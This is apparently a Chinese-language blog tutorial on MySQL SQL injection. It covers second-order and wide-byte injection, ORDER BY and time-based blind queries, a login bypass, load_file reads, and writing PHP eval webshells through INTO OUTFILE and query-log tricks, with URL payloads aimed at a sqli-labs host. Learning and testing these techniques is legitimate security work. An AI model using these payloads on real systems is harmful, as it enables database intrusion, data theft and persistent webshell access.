💉 sqlibypass_for_mysql Vol.1

  • Naykcin
  • 21 Minutes
  • January 6, 2020

💉 sqlibypass_for_mysql Vol.1

目录

🎙️ 0x00 前言

最近打算把 SQL 这一块整个复盘一遍。包含数据库的一些原理、学习到的注入 tricks、漏洞利用等等,直接上硬菜。

注入其实分为三大类:盲注、报错、联合。

基本语法

这里先简单说说基本语句的使用:

// 建立数据库
mysql> create database mysqltest;

// 查询所有数据库
mysql> show databases;

// 使用该数据库并新建表

mysql> use mysqltest;
mysql> create table admin(id int,username varchar(255),passwd varchar(255));

// 查看所有表,插入数据,查询,where 语句

mysql> show tables;
mysql> insert into admin (id,username,passwd) values (1,'nick','sdfsdf');
mysql> select * from admin;
mysql> select * from admin where id=1;

0x01 二次注入

原理

sql 语句没有被转义就直接存入数据库,然后再被读取查询导致错误。

在 PHP 中常见于:数据在被插入时,被 addslashes()``get_magic_quote_gpc 等等转义,但是在写入数据库时还是脏数据,二次注入的造成原因有很多。

可以用 16 进制编码来使 payload 不含单引号。二次注入多见于用户注册。

实例

在注册用户 admin'# 时没有经过有效的转义,导致开发者认为该数据是安全的,进而导致可以绕过更改管理员的密码。

Screenshot 2020-02-13 下午6.10.04

防御

  1. 不允许用户注册带有 ' 的名称。
  2. 在从数据库或文件中提取数据的时候,也要进行转义或者过滤。

0x02 宽字节注入

原理

ASCII 占用一个字节,GBK 占用两个字节,UTF-8 占用三个字节。
要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL 语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)。

位置

PHP 发送请求到 Mysql 时,字符集使用 character_set_client 设置值进行了一次编码, 然后服务器会根据 character_set_connection 把请求进行转码,然后更新到数据库的时候,再转化为字段所对应的编码。

客户端字符集和连接层字符集一致就不会出现问题,不一致就可能在字符集转换过程中吃掉某些字符。

防御

  1. 使用 mysql_set_charset(GBK) 指定字符集
  2. 使用 mysql_real_escape_string 进行转义

0x03 order by 注入

select * from admin order by $id

order by 是用来判断列数的,其实就是按照第几列来进行排序的一个过程,如果超出列数则会报错。

Screenshot 2020-02-13 下午6.10.04

要注意 order by 注入是不能直接使用 and 1=1 来判断的,他需要用到条件语句。

0x04 盲注

布尔盲注

简单判断

Screenshot 2020-02-13 下午6.39.46

这里利用到了 if 条件语句判断 if(a,b,c),如果 a 为真则执行 b,否则执行 c。

所以第一个命令以 password 列排序,第二个命令返回 false,无序。

时间盲注

时间盲注不能直接简单地 sleep(),因为目标会对每条内容来执行语句,会造成 DOS 测试获取速度慢等问题,这时候需要用到子查询。

拓展

SQL 语句中 substring 函数是用来截取字符串中的一部分函数,在不同的数据库中该命令的名称不同。

用法:

  1. substr(str,x,y),str 表示被截取的字符串,x 表示从第几位开始截取,y 表示截取几位。

    Screenshot 2020-02-13 下午6.58.56

  2. substr(str,pos),str 表示被截取的字符串,pos 表示从某个位置开始截取到结尾所有字符串。(该语句不能用于 mssql)

    Screenshot 2020-02-13 下午7.01.18

  3. concat(a,b,c),该函数使多个字符串连接成一个字符串。

    concat_ws(separator,a,b,c),第一个参数是分隔符。

    Screenshot 2020-02-13 下午8.24.24 1

这里用到了子查询,创造了条件判断,可以提高效率。

Screenshot 2020-02-13 下午7.20.17

mysql> select * from admin order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password);

报错注入

利用语法错误来注入,报错内容中含有错误的路径内容。

0x05 from

from 后面的注入比较少。

select * from $id;

  1. 可以结合 order by 来注入。
  2. 可以使用联合查询来注入。

select * from admin union select 1,user(),3;

0x06 limit

select * from admin limit 0,1;

0 表示初始位置,1 表示偏移量。

Screenshot 2020-02-13 下午9.11.25

0x07 offset

select * from admin limit 1 offset 0;

用法和 limit 相似,但是位置正好相反。

Screenshot 2020-02-13 下午9.13.51

0x08 万能密码

万能密码的原理其实就是让条件恒成立,根据语句的形式来闭合。

mysql> select * from admin where username=''or 1=1-- ' and password='123';

Screenshot 2020-02-13 下午9.19.03

0x09 读写文件

mysql 5.6.34 版本以后 secure_file_priv 的值默认为 null,该值为 null 时我们无法导出文件。

secure_file_priv 的默认值被修改为无才能利用,更改此设置必须修改配置文件,不能用 sql 语句。因此必须管理员修改好这个权限才可以。

Windows 在 my.ini 的 [mysqld] 下面加上 secure_file_priv = 即可,Linux 在 /etc/my.cnf 中修改。

mysql> show global variables like '%secure%';

读文件 load_file()

可以把文件 hex 输出,文件名也是支持 hex 或 char 的(可以避免引号)。

mysql> select * from admin union select 1,hex(load_file('d:\\1.txt')),3;

如果进入了 phpmyadmin 类似的平台,可以执行 sql 语句,可以选择把导入的数据插入表中,同时支持导入的函数还有 load data infile

create table test(test text);
insert into test(test) values (load_file('D:\\1.txt'));
select * from test;

如果能读文件,在渗透中会很有用,可以读配置文件、系统问题等等。

写文件 dumpfile/outfile

写文件一般会用到 dumpfile 或 outfile,他们是有区别的。

outfile 会在行末写入新行,而且会转义换行符。

dumpfile 能导出一个完整的文件,不会有任何转义,所以 udf 提权一般用的是 dumpfile。

into outfile

条件:

1)具有 root 权限。

2)知道 web 服务器的绝对路径。(目录具有写入权限)

3)没有配置 secure_file_priv

// 正常写法
select "<?php @eval($_POST['sb']);?>" into outfile "/phpstudy/www/uploads/sb.php"

// 注入时可 union 联合查询时
?id=13 and 1=2 union select 1,2,3,4,5 "<?php @eval($_POST['sb']);?>" into outfile "/phpstudy/www/uploads/sb.php"

// 不可 union 联合查询时
?id=13) into outfile "/phpstudy/www/uploads/sb.php" fields terminated by "<?php @eval(@_POST[SBSB]);?>"

⚠️ 注意:

1)绝对路径的猜解。

2)into outfile 后面的路径。比如说 “c:\wamp\uploads\muma.php” 有时需要变成 “c:\wamp\uploads\muma.php”(对反斜杠做了一次转义)

3)路径可以编码十六进制。

4)实际利用时候的 payload 是:

id=1' union select 1,2 '<?php @eval($_post[SB]);?>' into outfile '/phpstudy/www/uploads/a.php'

但是写入的内容只有联合查询查出的 1、2,一句话没有写进去,修改 payload 为:

id=1' union select 1,'<?php @eval($_post[SB]);?>' into outfile '/phpstudy/www/uploads/a.php'

写入成功,这里需要注意一下。

Ticks

通过日志写 shell 来解决这个难题,但是需要能直接执行 sql 语句,利用有限。通过更改日志路径,把查询的日志保存过去。

set global general_log=on;
set global general_log_file='d://404.php';
select '<?php @eval($_POST[sb]);?>';

还有一种慢日志,原理一样。

show global variables like '%query_log%';

Screenshot 2020-02-13 下午10.26.32

set global slow_query_log=1;
set global slow_query_log_file='D://404.php';
select '<?php @eval($_POST[sb]);?>' or sleep(15);

0x10 堆叠查询

mysql 是支持堆叠查询的。用 ; 分割语句,但是 PHP 原生的连接方式不支持,但是使用 PDO、mysqli_multi_query() 等等是支持多语句的。

在使用堆叠查询时基本是没有回显的,而且其实很难遇到这种环境。

select * from admin where id=1;select user();

Screenshot 2020-02-13 下午10.33.10

如果对方支持堆叠查询,那么可以用日志来写 shell。

http://192.168.59.129/Less-38/?id=1%27;set global general_log=on;set global general_log_file='C://phpstudy//404.php';--+

http://192.168.59.129/Less-38/?id=1%27;select '<?php eval($_POST[404]) ?>';--+

0x11 表名解读

information_schema

这个库是在 mysql5.0 以后才有的。

information_schema 是用于存储数据库元数据的库,它保存了数据库名、表名、列名等信息。

Screenshot 2020-02-13 下午10.41.44

常用到的几个表:

  1. schemata:提供了当前 mysql 实例中所有数据库的信息。
  2. tables:提供了关于数据库中的表的信息。
  3. columns:提供了表中的列信息。

select * from information_schema.schemata;

Screenshot 2020-02-13 下午10.45.44

select table_name from information_schema.tables where table_schema='admin';

Screenshot 2020-02-13 下午10.52.18

这里要注意 table_schema 后跟的是数据库名称,可以用十六进制避免引号。

select column_name from information_schema.columns where table_name='admin';

Screenshot 2020-02-13 下午10.57.32

⚠️ 注意:

information_schema 存储的是所有数据库的信息,假如数据库 mysqltest1 和 mysqltest2 都有 admin 表的话,返回的将是:

select column_name from information_schema.columns where table_name='admin';

Screenshot 2020-02-13 下午11.14.48

所以要指定库:

select column_name from information_schema.columns where table_name='admin' and table_schema='mysqltest2';

Screenshot 2020-02-13 下午11.19.54

mysql

user 表保存用户的密码和 host 等信息。

Screenshot 2020-02-13 下午11.33.52

0x12 符号

常用到的特殊符号有:

''
""
()
{}
\
\\
``
%

注释符号

mysql 中有多种注释符号

#
/**/ /*/**/ 等效于 /**/
-- + 用这个符号是注意是--空格任意字符,很多人搞混
;%00
`
/*!*/ 内列注释,它也可以当作一个空格,/*!/*!*/ 是等效于 /*!*/ 的

操作符和逻辑操作符

排列在同一行的操作符具有相同的优先级。(优先级很重要)

:=
||,OR,XOR
&&,AND
NOT
BETWEEN,CASE,WHEN,THEN,ELSE
=,<=>,>=,>,<,<=,<>,!=,IS,LIKE,REGEXP,IN
|
&
<<,>>
-,+
*,/,DIV,%,MOD
^
-(一元减号),~(一元比特反转)
!
BINARY,COLLATE

0x13 注入的产生

  1. 程序在开发的时候没有对用户输入的数据做过滤,把用户的数据都当作可信数据。
  2. 过滤不严格。
  3. 数据库配置不当。
  4. 转义不当。

0x14 注入的类型

常见的有数字型、字符型、搜索型、盲注等等。

select * from admin where id = $id; //数字型 注入

select * from admin where id = '$id'; //字符型

select * from admin where id = "$id";

select * from admin where id = ($id);

select * from admin where id = ('$id');

select * from admin where id = ("$id");

select * from admin where username like '%adm%';

select * from admin where username like ('%adm%');

select * from admin where id = $id limit 0,1;

select * from admin order by $id;

select * from admin order by limit 0,1 $id;

select * from admin order by id limit 1,1 $id;

insert注入

update注入

delete注入

二次注入

等等

⚠️ 注意:

  1. 当网站有成熟的 cms 框架时,不建议黑盒注入,可以直接审计代码或搜索已知漏洞。
  2. 如果目标不是很重要可以尝试 AWVS 等工具。
  3. 情报收集是最重要的,可能它的源码就在 GitHub 上,或者在某个备份文件上。

Hard work and no play makes Nick a dull boy.